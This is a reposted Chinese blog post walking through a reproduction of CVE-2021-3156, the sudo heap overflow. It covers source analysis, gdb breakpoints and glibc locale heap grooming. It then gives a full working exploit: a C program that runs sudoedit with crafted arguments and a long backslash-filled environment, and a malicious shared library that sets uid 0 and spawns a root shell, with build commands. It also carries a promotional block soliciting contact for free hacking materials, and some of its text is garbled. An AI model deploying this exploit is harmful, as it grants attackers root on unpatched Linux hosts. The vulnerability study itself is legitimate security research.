立聪堂德州十三局店 发表于 2024-5-19 12:04:29

CVE复现之老洞新探(CVE-2021-3156)

环境搭建

直接拉取合适的docker
docker 环境:
https://hub.docker.com/r/chenaotian/cve-2021-3156
下载glibc-2.27源码和sudo-1.8.21源码
漏洞分析

    /* set user_args */
    if (NewArgc > 1) {
      char *to, *from, **av;
      size_t size, n;

      /* Alloc and build up user_args. */
      for (size = 0, av = NewArgv + 1; *av; av++)
      size += strlen(*av) + 1; //计算command缓冲区的大小,每个command后面跟一个空格符
      if (size == 0 || (user_args = malloc(size)) == NULL) {  //分配堆块,存放command
      sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
      debug_return_int(-1);
    }
      if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {  // 设置-s参数进入分支
      /*
         * When running a command via a shell, the sudo front-end
         * escapes potential meta chars.We unescape non-spaces
         * for sudoers matching and logging purposes.
         */
      for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
            while (*from) {
            if (from == '\\' && !isspace((unsigned char)from))
                from++; // 跳过反斜杠
            *to++ = *from++; // 复制反斜杠后面的字符
          } // 漏洞点在于当结尾是\且后面不是空格时,会from++一次,在拷贝完后还会from++,再去判断while的条件,就跳过了0,造成了越界写。
            *to++ = ' '; //每个command后面跟一个空格
      }
      *--to = '\0';
    } else {
      for (to = user_args, av = NewArgv + 1; *av; av++) {
            n = strlcpy(to, *av, size - (to - user_args));
            if (n >= size - (to - user_args)) {
            sudo_warnx(U_("internal error, %s overflow"), __func__);
            debug_return_int(-1);
          }
            to += n;
            *to++ = ' ';
      }
      *--to = '\0';
    }
    }
 }https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405081447652.png
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405081447654.png
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405081447655.png
结合调试,可以对漏洞的环境有更清晰的了解。参数以反斜杠结尾会导致写入一个零字节而继续赋值下一个参数,在这里有两点:
①以反斜杠结尾可导致溢出
②以反斜杠作为参数可以写入零字节
同时,被溢出的那个堆块的大小等于对应参数长度+1。
漏洞调试

glibc源码
gdb exp
catch exec
b policy_check
b sudoers.c:846

b setlocale
b sudo.c:148
b setlocale.c:369 // strdup
b setlocale.c:398

b nss_load_librarygcc exp.c -o exp2 -lm漏洞利用

1 利用目标

p nihttps://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405081447656.png
可以发现service_user结构体在堆上
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405081447657.png
堆块大小为0x40
nss_load_library的函数调用流程和相关的数据结构机制
/* Load library.*/
static int

' (service_user *ni)
{
 if (ni->library == NULL) // ni->library等于0进入分支
 {
     /* This service has not yet been used.Fetch the service
   library for it, creating a new one if need be.If there
   is no service table from the file, this static variable
   holds the head of the service_library list made from the
   default configuration.*/
     static name_database default_table;
     ni->library = nss_new_service (service_table ?: &default_table,
                   ni->name); // 新建一个ni->library,并将成员初始化
     if (ni->library == NULL)
    return -1;
 }

 if (ni->library->lib_handle == NULL) // ni->library是新建的,lib_handle是0
 {
     /* Load the shared library.*/
     size_t shlen = (7 + strlen (ni->name) + 3
              + strlen (__nss_shlib_revision) + 1);
     int saved_errno = errno;
     char shlib_name;

     /* Construct shared object name.*/
     __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
                          "libnss_"),
                  ni->name),
              ".so"),
      __nss_shlib_revision); // shlib_name经过拼接得到 libnss_+ni->name+.so+__nss_shlib_revision

     ni->library->lib_handle = __libc_dlopen (shlib_name);// 加载动态库
     if (ni->library->lib_handle == NULL)
    {
    /* Failed to load the library.*/
    ni->library->lib_handle = (void *) -1l;
    __set_errno (saved_errno);
    }通过对nss_load_library源码的分析,发现这里假如能将ni结构体的library覆盖为0,name覆盖本钱身的so文件名,具体为libnss_XXX/test.so.2,其中libnss_是拼接的路径,XXX/test是name的值,.so.2是拼接上去的,拼接后libnss_XXX/test.so.2表示当前路径下libnss_XXX文件夹中的test.so.2,我们完成修改后,在当前路径下创建对应的文件夹,将恶意文件放到其中,更名为test.so.2,就能加载实行恶意文件。
【----帮助网安学习,以下全部学习资料免费领!加vx:dctintin,备注 “博客园” 获取!】
 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
2 堆块布局

接下来,就是需要想办法将这个service_user结构体放到存在溢出的堆块下面。
这就来到了第二个题目,setlocale 如何通过环境变量LC_* 进行堆布局。
// locale\setlocale.c
     /* Load the new data for each category.*/
     while (category-- > 0)
    if (category != LC_ALL)
      {
      newdata = _nl_find_locale (locale_path, locale_path_len,
                         category,
                         &newnames);//通过_nl_find_locale函数去获取环境变量的值,存放在newdata中

      if (newdata == NULL)
      {
#ifdef NL_CURRENT_INDIRECT
      if (newnames == _nl_C_name)
          /* Null because it's the weak value of _nl_C_LC_FOO.*/
          continue;
#endif
      break;
      }起首是通过_nl_find_locale函数去获取环境变量的值,存放在newdata中
// locale\findlocale.c
struct __locale_data *
_nl_find_locale (const char *locale_path, size_t locale_path_len,
         int category, const char **name)
{
    ......
/* LOCALE can consist of up to four recognized parts for the XPG syntax:

      language][@modifier]

    Beside the first all of them are allowed to be missing.If the
    full specified locale is not found, the less specific one are
    looked for.The various part will be stripped off according to
    the following order:
      (1) codeset
      (2) normalized codeset
      (3) territory
      (4) modifier
  */
  //locale的命名规则为<语言>_<地区>.<字符集编码>,如zh_CN.UTF-8,zh代表中文,CN代表大陆地区,UTF-8表示字符集。
  // C.UTF-8@AAAAAAAAA
 mask = _nl_explode_name (loc_name, &language, &modifier, &territory,
               &codeset, &normalized_codeset);
               // 判断四个部分那部分有缺失
 if (mask == -1)
   /* Memory allocate problem.*/
   return NULL;

 /* If exactly this locale was already asked for we have an entry with
    the complete name.*/
 locale_file = _nl_make_l10nflist (&_nl_locale_file_list,
                  locale_path, locale_path_len, mask,
                  language, territory, codeset,
                  normalized_codeset, modifier,
                  _nl_category_names.str
                  + _nl_category_name_idxs, 0);

 if (locale_file == NULL)
 {
     /* Find status record for addressed locale file.We have to search
   through all directories in the locale path.*/
     locale_file = _nl_make_l10nflist (&_nl_locale_file_list,
                  locale_path, locale_path_len, mask,
                  language, territory, codeset,
                  normalized_codeset, modifier,
                  _nl_category_names.str
                  + _nl_category_name_idxs, 1);
     if (locale_file == NULL)
    /* This means we are out of core.*/
    return NULL;
 }结合源码和相关资料,可以知道locale的定名规则为_.,如zh_CN.UTF-8,zh代表中文,CN代表大陆地区,UTF-8表示字符集。例如C.UTF-8@AAAAAAAAA
堆申请原语和堆开释原语
// locale\setlocale.c
     /* Load the new data for each category.*/
     while (category-- > 0)
    if (category != LC_ALL)
      {
      newdata = _nl_find_locale (locale_path, locale_path_len,
                         category,
                         &newnames);//通过_nl_find_locale函数去获取环境变量的值,存放在newdata中

      if (newdata == NULL)
      {
#ifdef NL_CURRENT_INDIRECT
      if (newnames == _nl_C_name)
          /* Null because it's the weak value of _nl_C_LC_FOO.*/
          continue;
#endif
      break;
      }​      /* We must not simply free a global locale since we have         no control over the usage.So we mark it as         un-deletable.And yes, the 'if' is needed, the data         might be in read-only memory.*/      if (newdata->usage_count != UNDELETABLE)        newdata->usage_count = UNDELETABLE;​      /* Make a copy of locale name.*/      if (newnames != _nl_C_name)      {      if (strcmp (newnames,                _nl_global_locale.__names) == 0)          newnames = _nl_global_locale.__names;      else          {            newnames = __strdup (newnames);            //使用__strdup函数在堆内存中分配空间,并将newdata拷贝进去            if (newnames == NULL)              break;          }      }      }​      /* Create new composite name.*/      composite = (category >= 0           ? NULL : new_composite_name (LC_ALL, newnames));      if (composite != NULL)    {    /* Now we have loaded all the new data.Put it in place.*/    for (category = 0; category < __LC_LAST; ++category)      if (category != LC_ALL)      {      setdata (category, newdata);      setname (category, newnames);      }    setname (LC_ALL, composite);​    /* We successfully loaded a new locale.Let the message catalog       functions know about this.*/    ++_nl_msg_cat_cntr;    }      else    for (++category; category < __LC_LAST; ++category)    if (category != LC_ALL && newnames != _nl_C_name        && newnames != _nl_global_locale.__names)      free ((char *) newnames);      //这里就是堆块开释的原语了,只要有一个区域设置的值不符合规范,则将之前全部申请的堆块都开释掉先使用__strdup函数在堆内存中分配空间,并将newdata拷贝进去,其中
char * __strdup(const char *s)
{
  size_t  len = strlen(s) +1;
  void *new = malloc(len);
  if (new == NULL)
     return NULL;
  return (char *)memecpy(new,s,len);
}然后当遇到不合法的区域的值时,就会将前面申请的堆都free掉。
locale把按照所涉及到的使用习惯的各个方面分成12个大类,这12个大类分别是:
1、语言符号及其分类(LC_CTYPE)

2、数字(LC_NUMERIC)

3、比较和习惯(LC_COLLATE)

4、时间显示格式(LC_TIME)

5、货币单位(LC_MONETARY)

6、信息主要是提示信息,错误信息,状态信息,标题,标签,按钮和菜单等(LC_MESSAGES)

7、姓名书写方式(LC_NAME)

8、地址书写方式(LC_ADDRESS)

9、电话号码书写方式(LC_TELEPHONE)

10、度量衡表达方式 (LC_MEASUREMENT)

11、默认纸张尺寸大小(LC_PAPER)

12、对locale自身包含信息的概述(LC_IDENTIFICATION)。对应
"LC_CTYPE"
"LC_NUMERIC"
"LC_TIME"
"LC_COLLATE"
"LC_MONETARY",
"LC_MESSAGES"
"LC_ALL"
"LC_PAPER"
"LC_NAME"
"LC_ADDRESS"
"LC_TELEPHONE"
"LC_MEASUREMENT"
"LC_IDENTIFICATION"其中,处理是从下往上的顺序处理的,所以在传参的时候要注意一下顺序,不然最开始就错误全部开释掉了。
接下里就是想要如何将一个service_user申请到前面我的堆块前面
可以在申请service_user前,先利用堆申请原语和堆开释原语挖好坑。由于知道service_user的chunk大小是0x40,而我们堆溢出的chunk的大小可以本身控制,只要保证大小对应,就可以了。
通过动态调试可以明确__strdup的参数是C.UTF-8@XXXXXX,所以得到的堆块size是参数长度+1,利用下面脚本生成目标size的内容。
length = 0x38
while(length < 0x100):
   tail = 'C.UTF-8@'
   # length = 0x48
   q = "a"*(length-2)+"\\"
   p = tail+'a'*(length-1-len(tail))
   print(hex(length))
   print(q)
   print(p)
   length += 0x10经过测试,先按照0x40,0x40,0xa0,0x40的顺序设置4个,再设置一个不合法的,可以在中间一些无法制止的堆块操纵后得到一个可利用的堆排布。末了设置一个非法的值。
"LC_IDENTIFICATION=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_MEASUREMENT=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_TELEPHONE=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_ADDRESS=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_NAME=xxxxxxxx"其中0xa0是为堆溢出的堆块留的坑
    /* set user_args */
    if (NewArgc > 1) {
      char *to, *from, **av;
      size_t size, n;

      /* Alloc and build up user_args. */
      for (size = 0, av = NewArgv + 1; *av; av++)
      size += strlen(*av) + 1;
      if (size == 0 || (user_args = malloc(size)) == NULL) {
      sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
      debug_return_int(-1);
    }在malloc前下断点·
b sudoers.c:849查看bins,可以看到tcachebins中0xa0恰好有一个堆块
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405081447658.png
然后在nss_load_library下断点,查看service_user
b nss_load_library
p ni
​https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405081447659.png
可以看到前面0xa0的堆块在service_user的前面,如许就可以通过溢出覆盖name字段
所以填坑的参数按照前面的分析应该是
"a"*(0x98-1)+"\\"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\"综合得到如下开端exp
#include#include#include#include​#define __LC_CTYPE               0#define __LC_NUMERIC             1#define __LC_TIME              2#define __LC_COLLATE             3#define __LC_MONETARY          4#define __LC_MESSAGES          5#define __LC_ALL                 6#define __LC_PAPER               7#define __LC_NAME              8#define __LC_ADDRESS             9#define __LC_TELEPHONE        10#define __LC_MEASUREMENT      11#define __LC_IDENTIFICATION     12​char * envName={"LC_CTYPE","LC_NUMERIC","LC_TIME","LC_COLLATE","LC_MONETARY","LC_MESSAGES","LC_ALL","LC_PAPER","LC_NAME","LC_ADDRESS","LC_TELEPHONE","LC_MEASUREMENT","LC_IDENTIFICATION"};​int main(){    char *argv[] = {"sudoedit","-s","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\",NULL};// malloc(size) size = arg1_len + 1    char *env[] = {"XXX/test","LC_IDENTIFICATION=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_MEASUREMENT=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_TELEPHONE=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_ADDRESS=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_NAME=xxxxxxxx",NULL};    execve("/usr/local/bin/sudoedit",argv,env);}​3 溢出利用

https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405081447660.png
当前exp把XXX/test写到了0x555555623b07
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405081447662.png
此时的service_user在0x5555556241b0,name的偏移是0x30
start = 0x555555623b07
end = 0x5555556241b0+0x30
n = end-start
print(n)
for i in range(n):
   print('"\\\\"',end=',')   前面知道以反斜杠作为单独的参数,能够写入\x00,由于这里需要把library字段覆盖为0,所以通过上述代码生成相应数量的反斜杠,并填在XXX/test前,将XXX/test填入name的同时将library填为0。
共1753个反斜杠
exp
#include#include#include#include​#define __LC_CTYPE               0#define __LC_NUMERIC             1#define __LC_TIME              2#define __LC_COLLATE             3#define __LC_MONETARY          4#define __LC_MESSAGES          5#define __LC_ALL                 6#define __LC_PAPER               7#define __LC_NAME              8#define __LC_ADDRESS             9#define __LC_TELEPHONE        10#define __LC_MEASUREMENT      11#define __LC_IDENTIFICATION     12​char * envName={"LC_CTYPE","LC_NUMERIC","LC_TIME","LC_COLLATE","LC_MONETARY","LC_MESSAGES","LC_ALL","LC_PAPER","LC_NAME","LC_ADDRESS","LC_TELEPHONE","LC_MEASUREMENT","LC_IDENTIFICATION"};​int main(){    char *argv[] = {"sudoedit","-s","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\",NULL};// malloc(size) size = arg1_len + 1    char *env[] = {"\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","XXX/test","LC_IDENTIFICATION=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_MEASUREMENT=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_TELEPHONE=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_ADDRESS=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_NAME=xxxxxxxx",NULL};    execve("/usr/local/bin/sudoedit",argv,env);}​https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405081447663.png
覆盖效果如上
拼接完成后会实行
     /* Construct shared object name.*/
     __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
                          "libnss_"),
                  ni->name),
              ".so"),
      __nss_shlib_revision);

     ni->library->lib_handle = __libc_dlopen (shlib_name);
     if (ni->library->lib_handle == NULL)
    {
    /* Failed to load the library.*/
    ni->library->lib_handle = (void *) -1l;
    __set_errno (saved_errno);
    }通过__libc_dlopen打开文件
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405081447664.png
4 提权收工

末了编译后门test.so.2,并放入libnss_XXX文件夹
这里借用CVE-2021-3156:sudo堆溢出提权漏洞分析-腾讯云开辟者社区-腾讯云 (tencent.com)中的代码
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define EXECVE_SHELL_PATH "/bin/sh"

static void __attribute__ ((constructor)) pop_shell(void);
char *n[] = {NULL};

void pop_shell(void) {
   printf("[+] executed!\n");
   setresuid(0, 0, 0);
   setresgid(0, 0, 0);
   if(getuid() == 0) {
       puts("[+] we are root!");
 } else {
       puts("[-] something went wrong!");
       exit(0);
 }

   execve(EXECVE_SHELL_PATH, n, n);
}gcc -fPIC -shared test.c -o libnss_XXX/test.so.2
chmod 777 libnss_XXX/test.so.2提权效果
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405081447665.png
总结

这个老洞新探,照旧挺有意思的, 从源码分析到动态调试,整个过程对程序调试的能力有很大的锻炼。在这个洞的利用中,思路是比较清晰的,但在堆排布那边,由于中间会有很多其他的堆块操纵是我们不可控,就会存在较大困难,要么通过逆向分析梳理全部的堆块操纵然后手动构造,要么就是通过fuzz。前者费时费力,而且存在很多题目,后者需要对fuzz进行一定的学习。在盲目手动构造的过程中,好不容易在service_user之前留下了坑,但照旧遇到了几种环境,一是在没有加溢出的时候的service_user结构体的地址和加了溢出字符后的不一样,二是在根本走不到nss_load_library就崩溃了,三是修改了最近的一个service_user结构体,但并没有用。
总的来说,这个洞另有很多可以学习的地方,后面学学fuzz后再来试试这个洞。
更多网安技能的在线实操练习,请点击这里>>
  

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: CVE复现之老洞新探(CVE-2021-3156)